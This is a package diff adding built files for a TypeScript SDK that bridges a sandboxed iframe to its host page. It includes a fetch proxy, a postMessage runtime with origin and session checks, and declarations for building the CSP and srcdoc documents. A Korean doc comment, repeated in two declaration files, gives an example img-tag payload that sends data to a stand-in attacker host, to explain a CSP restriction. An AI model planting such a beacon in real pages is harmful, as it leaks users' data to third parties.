@bstage-sdk/bridge 0.0.0-stage → 0.9.0

package/dist/chunk-KQMJY4ZH.js

@@ -0,0 +1,266 @@
+// src/frame/createBridgeFetch.ts
+function createBridgeFetch(client) {
+  const NULL_BODY_STATUS = [204, 205, 304];
+  function toHeaderRecord(h) {
+    const out = {};
+    if (!h) return out;
+    new Headers(h).forEach(function(value, key) {
+      out[key] = value;
+    });
+    return out;
+  }
+  function abortError(signal) {
+    if (signal.reason !== void 0) return signal.reason;
+    return new DOMException("The operation was aborted.", "AbortError");
+  }
+  function bridgeFetch(input, init) {
+    return new Promise(function(resolve, reject) {
+      const opts = init || {};
+      const isRequest = typeof input === "object" && input !== null && typeof input.method === "string";
+      const url = isRequest ? input.url : String(input);
+      const method = String(opts.method || (isRequest ? input.method : "GET"));
+      const headers = toHeaderRecord(
+        opts.headers || (isRequest ? input.headers : null)
+      );
+      let body = null;
+      if (isRequest && input.body !== null && opts.body == null) {
+        reject(new TypeError("bridge fetch: pass the body via init.body"));
+        return;
+      }
+      const raw = opts.body;
+      if (raw === void 0 || raw === null) {
+      } else if (typeof raw === "string") {
+        body = raw;
+      } else if (typeof URLSearchParams !== "undefined" && raw instanceof URLSearchParams) {
+        body = raw.toString();
+        if (!headers["content-type"]) {
+          headers["content-type"] = "application/x-www-form-urlencoded;charset=UTF-8";
+        }
+      } else {
+        reject(new TypeError("bridge fetch: unsupported body type"));
+        return;
+      }
+      const signal = opts.signal;
+      if (signal && signal.aborted) {
+        reject(abortError(signal));
+        return;
+      }
+      let settled = false;
+      function onAbort() {
+        if (settled || !signal) return;
+        settled = true;
+        reject(abortError(signal));
+      }
+      if (signal) signal.addEventListener("abort", onAbort);
+      const payload = { url, method, headers, body };
+      client.request("fetch", payload).then(
+        function(res) {
+          if (signal) signal.removeEventListener("abort", onAbort);
+          if (settled) return;
+          settled = true;
+          try {
+            const nullBody = method.toUpperCase() === "HEAD" || NULL_BODY_STATUS.indexOf(res.status) >= 0;
+            const responseHeaders = {};
+            if (res.headers && typeof res.headers["content-type"] === "string") {
+              responseHeaders["content-type"] = res.headers["content-type"];
+            }
+            resolve(
+              new Response(nullBody ? null : typeof res.bodyText === "string" ? res.bodyText : "", {
+                status: res.status,
+                statusText: res.statusText,
+                headers: responseHeaders
+              })
+            );
+          } catch {
+            reject(new TypeError("bridge fetch: invalid response"));
+          }
+        },
+        function(err) {
+          if (signal) signal.removeEventListener("abort", onAbort);
+          if (settled) return;
+          settled = true;
+          const code = err && typeof err === "object" ? err.code : void 0;
+          const failure = new TypeError("bridge fetch failed: " + String(code || "NETWORK_ERROR"));
+          failure.code = code || "NETWORK_ERROR";
+          reject(failure);
+        }
+      );
+    });
+  }
+  return bridgeFetch;
+}
+
+// src/frame/runtime.ts
+function bridgeRuntime(g, makeFetch, config) {
+  const NS = "bstage-bridge";
+  const TIMEOUT_MS = 15e3;
+  const READY_INTERVAL_MS = 250;
+  const READY_FAST_ATTEMPTS = 40;
+  const READY_SLOW_INTERVAL_MS = 2e3;
+  const MAX_ID = 64;
+  const MAX_TYPE = 32;
+  if (g.__bstage_bridge__) return g.__bstage_bridge__;
+  const session = config.session;
+  const hostOrigin = config.hostOrigin;
+  const parent = g.parent;
+  const pending = /* @__PURE__ */ new Map();
+  const listeners = /* @__PURE__ */ new Map();
+  let init;
+  let seq = 0;
+  function randomPrefix() {
+    const bytes = new Uint8Array(8);
+    if (g.crypto && typeof g.crypto.getRandomValues === "function") {
+      g.crypto.getRandomValues(bytes);
+    } else {
+      for (let i = 0; i < bytes.length; i += 1) bytes[i] = Math.floor(Math.random() * 256);
+    }
+    let out = "";
+    for (let i = 0; i < bytes.length; i += 1) out += (bytes[i] + 256).toString(16).slice(1);
+    return out;
+  }
+  const idPrefix = randomPrefix();
+  function nextId() {
+    seq += 1;
+    return idPrefix + "-" + seq;
+  }
+  function codeError(code, message) {
+    const err = new Error(message);
+    err.name = "BridgeError";
+    err.code = code;
+    return err;
+  }
+  function post(kind, type, id, payload) {
+    if (!parent) return;
+    const body = Object.assign({}, payload, { session });
+    parent.postMessage({ v: 1, ns: NS, id, kind, type, payload: body }, hostOrigin);
+  }
+  function isEnvelope(m) {
+    if (typeof m !== "object" || m === null) return false;
+    const e = m;
+    return e.v === 1 && e.ns === NS && typeof e.id === "string" && e.id.length > 0 && e.id.length <= MAX_ID && (e.kind === "req" || e.kind === "res" || e.kind === "evt") && typeof e.type === "string" && e.type.length > 0 && e.type.length <= MAX_TYPE && "payload" in e;
+  }
+  let resolveReady = function() {
+  };
+  const ready = new Promise(function(resolve) {
+    resolveReady = resolve;
+  });
+  function emit(type, payload) {
+    const fns = listeners.get(type);
+    if (!fns) return;
+    fns.slice().forEach(function(fn) {
+      try {
+        fn(payload);
+      } catch {
+      }
+    });
+  }
+  function applyEvent(type, payload) {
+    if (!init || typeof payload !== "object" || payload === null) return;
+    const p = payload;
+    if (type === "locale" && typeof p.locale === "string") {
+      init = Object.assign({}, init, { locale: p.locale, translations: p.translations });
+    } else if (type === "member" && typeof p.signedIn === "boolean") {
+      init = Object.assign({}, init, { member: payload });
+    } else if (type === "theme" && typeof p.dark === "boolean") {
+      init = Object.assign({}, init, { theme: payload });
+    } else if (type === "slot.context" && typeof p.id === "string") {
+      init = Object.assign({}, init, { slot: payload });
+    }
+  }
+  function onMessage(ev) {
+    if (!parent || ev.source !== parent) return;
+    if (ev.origin !== hostOrigin) return;
+    const m = ev.data;
+    if (!isEnvelope(m)) return;
+    const result = m.payload;
+    if (m.kind === "res" && m.type === "init") {
+      if (!init && result && result.ok === true && result.data) {
+        init = result.data;
+        clearInterval(readyTimer);
+        resolveReady(init);
+      }
+      return;
+    }
+    if (m.kind === "res") {
+      const entry = pending.get(m.id);
+      if (!entry) return;
+      pending.delete(m.id);
+      clearTimeout(entry.timer);
+      if (result && result.ok === true) {
+        entry.resolve(result.data);
+      } else {
+        const error = result && result.error || {};
+        entry.reject(
+          codeError(
+            typeof error.code === "string" ? error.code : "BAD_REQUEST",
+            typeof error.message === "string" ? error.message : "bridge request failed"
+          )
+        );
+      }
+      return;
+    }
+    if (m.kind === "evt") {
+      applyEvent(m.type, m.payload);
+      emit(m.type, m.payload);
+    }
+  }
+  g.addEventListener("message", onMessage);
+  let readyAttempts = 0;
+  function sendReady() {
+    readyAttempts += 1;
+    if (readyAttempts === READY_FAST_ATTEMPTS) {
+      clearInterval(readyTimer);
+      readyTimer = setInterval(sendReady, READY_SLOW_INTERVAL_MS);
+    }
+    post("evt", "ready", nextId(), {});
+  }
+  let readyTimer = setInterval(sendReady, READY_INTERVAL_MS);
+  sendReady();
+  function request(type, payload) {
+    return new Promise(function(resolve, reject) {
+      const id = nextId();
+      const timer = setTimeout(function() {
+        pending.delete(id);
+        reject(codeError("TIMEOUT", "bridge request timed out: " + type));
+      }, TIMEOUT_MS);
+      pending.set(id, { resolve, reject, timer });
+      post("req", type, id, payload || {});
+    });
+  }
+  function on(type, fn) {
+    const current = listeners.get(type) || [];
+    listeners.set(type, current.concat([fn]));
+    return function() {
+      const now = listeners.get(type) || [];
+      listeners.set(
+        type,
+        now.filter(function(f) {
+          return f !== fn;
+        })
+      );
+    };
+  }
+  const base = {
+    version: 1,
+    hostOrigin,
+    ready,
+    getInit: function() {
+      return init;
+    },
+    request,
+    on
+  };
+  const client = Object.freeze(Object.assign({}, base, { fetch: makeFetch(base) }));
+  Object.defineProperty(g, "__bstage_bridge__", {
+    value: client,
+    writable: false,
+    configurable: false,
+    enumerable: false
+  });
+  return client;
+}
+
+export {
+  bridgeRuntime,
+  createBridgeFetch
+};

package/dist/createSrcdoc-bOoxttPz.d.cts

@@ -0,0 +1,52 @@
+/** 프레임마다 새 세션(128비트 임의값)을 만든다. srcdoc 부트스트랩에만 심는다. */
+declare function createSession(): string;
+declare function isValidSession(value: unknown): value is string;
+/** srcdoc 부트스트랩 스크립트용 CSP nonce(128비트, base64url)를 만든다. */
+declare function createNonce(): string;
+declare function isValidNonce(value: unknown): value is string;
+
+interface CreateSrcdocOptions {
+    /** 부트스트랩 스크립트 CSP nonce(`createNonce()`). */
+    readonly nonce: string;
+    /** 프레임 세션(`createSession()`). */
+    readonly session: string;
+    /** 호스트 페이지 origin. 프레임 → 호스트 postMessage의 targetOrigin. */
+    readonly hostOrigin: string;
+    /** 템플릿 번들 CDN origin. CSP script·style·img·font·media 허용 대상. */
+    readonly assetOrigin: string;
+    /** 템플릿 엔트리 스크립트 URL. origin이 assetOrigin이어야 한다. */
+    readonly entryUrl: string;
+    /** 템플릿이 등록하는 custom element 이름. */
+    readonly elementName: string;
+    /** 문서 제목(placement 이름). */
+    readonly title: string;
+    /**
+     * 템플릿이 이미지·미디어를 불러올 추가 origin(정확한 https origin, 최대 `MAX_MEDIA_ORIGINS`개).
+     * CSP img-src·media-src에만 더해진다. 잘못된 항목이 하나라도 있으면 TypeError.
+     */
+    readonly mediaOrigins?: readonly string[];
+}
+/** mediaOrigins 최대 개수. */
+declare const MAX_MEDIA_ORIGINS = 20;
+/** elementName 최대 길이. 정규식 앞에서 먼저 잘라 입력 크기를 고정한다. */
+declare const MAX_ELEMENT_NAME_LENGTH = 100;
+/**
+ * 브리지 프로토콜 CSP. 값은 이스케이프 전 원문(호출자가 속성에 넣을 때 이스케이프).
+ *
+ * img-src·media-src에 맨 `https:`를 두지 않는다 — 두면 템플릿이 `<img src="https://attacker/?d=...">`로
+ * 임의 origin에 GET을 보낼 수 있다. 외부 이미지·미디어는 `mediaOrigins`로 정확한 origin만 연다.
+ *
+ * @throws TypeError mediaOrigins가 형식에 맞지 않을 때
+ */
+declare function buildFrameCsp(nonce: string, assetOrigin: string, mediaOrigins?: readonly string[]): string;
+/**
+ * 격리 프레임의 srcdoc 문서를 만든다. 모든 보간 값은 검증하고 문맥에 맞게 이스케이프한다
+ * (HTML 속성·텍스트는 HTML 이스케이프, 스크립트 안은 JSON + `<`·`>`·`&` 유니코드 이스케이프).
+ *
+ * iframe 속성은 `IFRAME_ATTRIBUTES`(sandbox="allow-scripts" 등)를 쓴다.
+ *
+ * @throws TypeError 입력이 형식에 맞지 않을 때(잘못된 nonce·세션·origin·엔트리·요소 이름·mediaOrigins)
+ */
+declare function createSrcdoc(options: CreateSrcdocOptions): string;
+
+export { type CreateSrcdocOptions as C, MAX_ELEMENT_NAME_LENGTH as M, MAX_MEDIA_ORIGINS as a, buildFrameCsp as b, createNonce as c, createSession as d, createSrcdoc as e, isValidSession as f, isValidNonce as i };

package/dist/createSrcdoc-bOoxttPz.d.ts

@@ -0,0 +1,52 @@
+/** 프레임마다 새 세션(128비트 임의값)을 만든다. srcdoc 부트스트랩에만 심는다. */
+declare function createSession(): string;
+declare function isValidSession(value: unknown): value is string;
+/** srcdoc 부트스트랩 스크립트용 CSP nonce(128비트, base64url)를 만든다. */
+declare function createNonce(): string;
+declare function isValidNonce(value: unknown): value is string;
+
+interface CreateSrcdocOptions {
+    /** 부트스트랩 스크립트 CSP nonce(`createNonce()`). */
+    readonly nonce: string;
+    /** 프레임 세션(`createSession()`). */
+    readonly session: string;
+    /** 호스트 페이지 origin. 프레임 → 호스트 postMessage의 targetOrigin. */
+    readonly hostOrigin: string;
+    /** 템플릿 번들 CDN origin. CSP script·style·img·font·media 허용 대상. */
+    readonly assetOrigin: string;
+    /** 템플릿 엔트리 스크립트 URL. origin이 assetOrigin이어야 한다. */
+    readonly entryUrl: string;
+    /** 템플릿이 등록하는 custom element 이름. */
+    readonly elementName: string;
+    /** 문서 제목(placement 이름). */
+    readonly title: string;
+    /**
+     * 템플릿이 이미지·미디어를 불러올 추가 origin(정확한 https origin, 최대 `MAX_MEDIA_ORIGINS`개).
+     * CSP img-src·media-src에만 더해진다. 잘못된 항목이 하나라도 있으면 TypeError.
+     */
+    readonly mediaOrigins?: readonly string[];
+}
+/** mediaOrigins 최대 개수. */
+declare const MAX_MEDIA_ORIGINS = 20;
+/** elementName 최대 길이. 정규식 앞에서 먼저 잘라 입력 크기를 고정한다. */
+declare const MAX_ELEMENT_NAME_LENGTH = 100;
+/**
+ * 브리지 프로토콜 CSP. 값은 이스케이프 전 원문(호출자가 속성에 넣을 때 이스케이프).
+ *
+ * img-src·media-src에 맨 `https:`를 두지 않는다 — 두면 템플릿이 `<img src="https://attacker/?d=...">`로
+ * 임의 origin에 GET을 보낼 수 있다. 외부 이미지·미디어는 `mediaOrigins`로 정확한 origin만 연다.
+ *
+ * @throws TypeError mediaOrigins가 형식에 맞지 않을 때
+ */
+declare function buildFrameCsp(nonce: string, assetOrigin: string, mediaOrigins?: readonly string[]): string;
+/**
+ * 격리 프레임의 srcdoc 문서를 만든다. 모든 보간 값은 검증하고 문맥에 맞게 이스케이프한다
+ * (HTML 속성·텍스트는 HTML 이스케이프, 스크립트 안은 JSON + `<`·`>`·`&` 유니코드 이스케이프).
+ *
+ * iframe 속성은 `IFRAME_ATTRIBUTES`(sandbox="allow-scripts" 등)를 쓴다.
+ *
+ * @throws TypeError 입력이 형식에 맞지 않을 때(잘못된 nonce·세션·origin·엔트리·요소 이름·mediaOrigins)
+ */
+declare function createSrcdoc(options: CreateSrcdocOptions): string;
+
+export { type CreateSrcdocOptions as C, MAX_ELEMENT_NAME_LENGTH as M, MAX_MEDIA_ORIGINS as a, buildFrameCsp as b, createNonce as c, createSession as d, createSrcdoc as e, isValidSession as f, isValidNonce as i };

package/dist/frame.cjs

@@ -0,0 +1,306 @@
+"use strict";
+var __defProp = Object.defineProperty;
+var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
+var __getOwnPropNames = Object.getOwnPropertyNames;
+var __hasOwnProp = Object.prototype.hasOwnProperty;
+var __export = (target, all) => {
+  for (var name in all)
+    __defProp(target, name, { get: all[name], enumerable: true });
+};
+var __copyProps = (to, from, except, desc) => {
+  if (from && typeof from === "object" || typeof from === "function") {
+    for (let key of __getOwnPropNames(from))
+      if (!__hasOwnProp.call(to, key) && key !== except)
+        __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
+  }
+  return to;
+};
+var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
+
+// src/frame/index.ts
+var frame_exports = {};
+__export(frame_exports, {
+  createBridgeClient: () => createBridgeClient,
+  createBridgeFetch: () => createBridgeFetch
+});
+module.exports = __toCommonJS(frame_exports);
+
+// src/frame/createBridgeFetch.ts
+function createBridgeFetch(client) {
+  const NULL_BODY_STATUS = [204, 205, 304];
+  function toHeaderRecord(h) {
+    const out = {};
+    if (!h) return out;
+    new Headers(h).forEach(function(value, key) {
+      out[key] = value;
+    });
+    return out;
+  }
+  function abortError(signal) {
+    if (signal.reason !== void 0) return signal.reason;
+    return new DOMException("The operation was aborted.", "AbortError");
+  }
+  function bridgeFetch(input, init) {
+    return new Promise(function(resolve, reject) {
+      const opts = init || {};
+      const isRequest = typeof input === "object" && input !== null && typeof input.method === "string";
+      const url = isRequest ? input.url : String(input);
+      const method = String(opts.method || (isRequest ? input.method : "GET"));
+      const headers = toHeaderRecord(
+        opts.headers || (isRequest ? input.headers : null)
+      );
+      let body = null;
+      if (isRequest && input.body !== null && opts.body == null) {
+        reject(new TypeError("bridge fetch: pass the body via init.body"));
+        return;
+      }
+      const raw = opts.body;
+      if (raw === void 0 || raw === null) {
+      } else if (typeof raw === "string") {
+        body = raw;
+      } else if (typeof URLSearchParams !== "undefined" && raw instanceof URLSearchParams) {
+        body = raw.toString();
+        if (!headers["content-type"]) {
+          headers["content-type"] = "application/x-www-form-urlencoded;charset=UTF-8";
+        }
+      } else {
+        reject(new TypeError("bridge fetch: unsupported body type"));
+        return;
+      }
+      const signal = opts.signal;
+      if (signal && signal.aborted) {
+        reject(abortError(signal));
+        return;
+      }
+      let settled = false;
+      function onAbort() {
+        if (settled || !signal) return;
+        settled = true;
+        reject(abortError(signal));
+      }
+      if (signal) signal.addEventListener("abort", onAbort);
+      const payload = { url, method, headers, body };
+      client.request("fetch", payload).then(
+        function(res) {
+          if (signal) signal.removeEventListener("abort", onAbort);
+          if (settled) return;
+          settled = true;
+          try {
+            const nullBody = method.toUpperCase() === "HEAD" || NULL_BODY_STATUS.indexOf(res.status) >= 0;
+            const responseHeaders = {};
+            if (res.headers && typeof res.headers["content-type"] === "string") {
+              responseHeaders["content-type"] = res.headers["content-type"];
+            }
+            resolve(
+              new Response(nullBody ? null : typeof res.bodyText === "string" ? res.bodyText : "", {
+                status: res.status,
+                statusText: res.statusText,
+                headers: responseHeaders
+              })
+            );
+          } catch {
+            reject(new TypeError("bridge fetch: invalid response"));
+          }
+        },
+        function(err) {
+          if (signal) signal.removeEventListener("abort", onAbort);
+          if (settled) return;
+          settled = true;
+          const code = err && typeof err === "object" ? err.code : void 0;
+          const failure = new TypeError("bridge fetch failed: " + String(code || "NETWORK_ERROR"));
+          failure.code = code || "NETWORK_ERROR";
+          reject(failure);
+        }
+      );
+    });
+  }
+  return bridgeFetch;
+}
+
+// src/frame/runtime.ts
+function bridgeRuntime(g, makeFetch, config) {
+  const NS = "bstage-bridge";
+  const TIMEOUT_MS = 15e3;
+  const READY_INTERVAL_MS = 250;
+  const READY_FAST_ATTEMPTS = 40;
+  const READY_SLOW_INTERVAL_MS = 2e3;
+  const MAX_ID = 64;
+  const MAX_TYPE = 32;
+  if (g.__bstage_bridge__) return g.__bstage_bridge__;
+  const session = config.session;
+  const hostOrigin = config.hostOrigin;
+  const parent = g.parent;
+  const pending = /* @__PURE__ */ new Map();
+  const listeners = /* @__PURE__ */ new Map();
+  let init;
+  let seq = 0;
+  function randomPrefix() {
+    const bytes = new Uint8Array(8);
+    if (g.crypto && typeof g.crypto.getRandomValues === "function") {
+      g.crypto.getRandomValues(bytes);
+    } else {
+      for (let i = 0; i < bytes.length; i += 1) bytes[i] = Math.floor(Math.random() * 256);
+    }
+    let out = "";
+    for (let i = 0; i < bytes.length; i += 1) out += (bytes[i] + 256).toString(16).slice(1);
+    return out;
+  }
+  const idPrefix = randomPrefix();
+  function nextId() {
+    seq += 1;
+    return idPrefix + "-" + seq;
+  }
+  function codeError(code, message) {
+    const err = new Error(message);
+    err.name = "BridgeError";
+    err.code = code;
+    return err;
+  }
+  function post(kind, type, id, payload) {
+    if (!parent) return;
+    const body = Object.assign({}, payload, { session });
+    parent.postMessage({ v: 1, ns: NS, id, kind, type, payload: body }, hostOrigin);
+  }
+  function isEnvelope(m) {
+    if (typeof m !== "object" || m === null) return false;
+    const e = m;
+    return e.v === 1 && e.ns === NS && typeof e.id === "string" && e.id.length > 0 && e.id.length <= MAX_ID && (e.kind === "req" || e.kind === "res" || e.kind === "evt") && typeof e.type === "string" && e.type.length > 0 && e.type.length <= MAX_TYPE && "payload" in e;
+  }
+  let resolveReady = function() {
+  };
+  const ready = new Promise(function(resolve) {
+    resolveReady = resolve;
+  });
+  function emit(type, payload) {
+    const fns = listeners.get(type);
+    if (!fns) return;
+    fns.slice().forEach(function(fn) {
+      try {
+        fn(payload);
+      } catch {
+      }
+    });
+  }
+  function applyEvent(type, payload) {
+    if (!init || typeof payload !== "object" || payload === null) return;
+    const p = payload;
+    if (type === "locale" && typeof p.locale === "string") {
+      init = Object.assign({}, init, { locale: p.locale, translations: p.translations });
+    } else if (type === "member" && typeof p.signedIn === "boolean") {
+      init = Object.assign({}, init, { member: payload });
+    } else if (type === "theme" && typeof p.dark === "boolean") {
+      init = Object.assign({}, init, { theme: payload });
+    } else if (type === "slot.context" && typeof p.id === "string") {
+      init = Object.assign({}, init, { slot: payload });
+    }
+  }
+  function onMessage(ev) {
+    if (!parent || ev.source !== parent) return;
+    if (ev.origin !== hostOrigin) return;
+    const m = ev.data;
+    if (!isEnvelope(m)) return;
+    const result = m.payload;
+    if (m.kind === "res" && m.type === "init") {
+      if (!init && result && result.ok === true && result.data) {
+        init = result.data;
+        clearInterval(readyTimer);
+        resolveReady(init);
+      }
+      return;
+    }
+    if (m.kind === "res") {
+      const entry = pending.get(m.id);
+      if (!entry) return;
+      pending.delete(m.id);
+      clearTimeout(entry.timer);
+      if (result && result.ok === true) {
+        entry.resolve(result.data);
+      } else {
+        const error = result && result.error || {};
+        entry.reject(
+          codeError(
+            typeof error.code === "string" ? error.code : "BAD_REQUEST",
+            typeof error.message === "string" ? error.message : "bridge request failed"
+          )
+        );
+      }
+      return;
+    }
+    if (m.kind === "evt") {
+      applyEvent(m.type, m.payload);
+      emit(m.type, m.payload);
+    }
+  }
+  g.addEventListener("message", onMessage);
+  let readyAttempts = 0;
+  function sendReady() {
+    readyAttempts += 1;
+    if (readyAttempts === READY_FAST_ATTEMPTS) {
+      clearInterval(readyTimer);
+      readyTimer = setInterval(sendReady, READY_SLOW_INTERVAL_MS);
+    }
+    post("evt", "ready", nextId(), {});
+  }
+  let readyTimer = setInterval(sendReady, READY_INTERVAL_MS);
+  sendReady();
+  function request(type, payload) {
+    return new Promise(function(resolve, reject) {
+      const id = nextId();
+      const timer = setTimeout(function() {
+        pending.delete(id);
+        reject(codeError("TIMEOUT", "bridge request timed out: " + type));
+      }, TIMEOUT_MS);
+      pending.set(id, { resolve, reject, timer });
+      post("req", type, id, payload || {});
+    });
+  }
+  function on(type, fn) {
+    const current = listeners.get(type) || [];
+    listeners.set(type, current.concat([fn]));
+    return function() {
+      const now = listeners.get(type) || [];
+      listeners.set(
+        type,
+        now.filter(function(f) {
+          return f !== fn;
+        })
+      );
+    };
+  }
+  const base = {
+    version: 1,
+    hostOrigin,
+    ready,
+    getInit: function() {
+      return init;
+    },
+    request,
+    on
+  };
+  const client = Object.freeze(Object.assign({}, base, { fetch: makeFetch(base) }));
+  Object.defineProperty(g, "__bstage_bridge__", {
+    value: client,
+    writable: false,
+    configurable: false,
+    enumerable: false
+  });
+  return client;
+}
+
+// src/frame/createBridgeClient.ts
+var BRIDGE_CONFIG_GLOBAL = "__bstage_bridge_config__";
+function createBridgeClient(options = {}) {
+  const g = options.global ?? globalThis;
+  const installed = g[BRIDGE_CONFIG_GLOBAL] ?? {};
+  const session = options.session ?? installed.session;
+  const hostOrigin = options.hostOrigin ?? installed.hostOrigin;
+  if (typeof session !== "string" || typeof hostOrigin !== "string") {
+    throw new TypeError("[bstage-bridge] session\uACFC hostOrigin\uC774 \uD544\uC694\uD569\uB2C8\uB2E4");
+  }
+  return bridgeRuntime(g, createBridgeFetch, { session, hostOrigin });
+}
+// Annotate the CommonJS export names for ESM import in node:
+0 && (module.exports = {
+  createBridgeClient,
+  createBridgeFetch
+});